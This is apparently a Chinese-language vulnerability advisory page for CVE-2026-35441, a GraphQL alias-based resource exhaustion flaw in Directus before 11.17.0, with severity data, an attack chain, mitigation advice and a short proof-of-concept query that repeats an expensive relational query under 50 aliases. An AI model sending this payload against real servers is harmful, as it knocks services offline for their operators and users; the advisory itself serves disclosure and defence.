IPBUF安全漏洞报告
English
CVE-2026-35441 CVSS 6.5 中危

CVE-2026-35441 Directus GraphQL资源耗尽漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35441
漏洞类型
资源耗尽
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

资源耗尽DoSGraphQLDirectus漏洞

漏洞概述

Directus是一个用于管理SQL数据库内容的实时API和应用仪表板。在11.17.0版本之前,其GraphQL端点未能在单个请求中对解析器调用进行去重。经过身份验证的用户可利用GraphQL别名机制,重复执行昂贵的关系查询,迫使服务器并发执行大量复杂数据库查询,导致资源耗尽。

技术细节

该漏洞源于Directus在处理GraphQL请求时未对解析器调用进行去重。GraphQL允许使用别名重复请求相同字段,受影响版本会为每个别名执行独立的数据库查询。攻击者只需低权限即可构造包含大量别名的恶意查询。虽然存在深度限制,但它是针对每个别名计算的,无法限制总量。且默认未启用速率限制,攻击者可通过少量请求耗尽CPU、内存和I/O资源,导致服务拒绝。

攻击链分析

STEP 1
步骤1
攻击者侦察到目标系统使用的是存在漏洞的Directus版本(< 11.17.0)。
STEP 2
步骤2
攻击者注册或获取一个低权限的账户(仅需读取权限),并获取有效的身份验证令牌。
STEP 3
步骤3
攻击者构造恶意的GraphQL查询,利用别名机制在单个请求中重复引用昂贵的数据库关系查询。
STEP 4
步骤4
服务器处理该请求时,并发执行大量复杂的数据库操作,导致CPU、内存和I/O资源耗尽,服务崩溃或不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35441 # Exploits GraphQL aliasing to multiply resolver invocations # Send this to /graphql or /graphql/system with a valid auth token query Exploit { # Repeating the same expensive relational query 50 times using aliases a1: articles { id title author { name } } a2: articles { id title author { name } } a3: articles { id title author { name } } a4: articles { id title author { name } } a5: articles { id title author { name } } # ... repeat up to the token limit or desired exhaustion level a50: articles { id title author { name } } }

影响范围

Directus < 11.17.0

防御指南

临时缓解措施
对于无法立即升级的用户,建议在反向代理或防火墙处实施严格的GraphQL请求速率限制,并限制单个请求中允许的别名数量或查询复杂度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表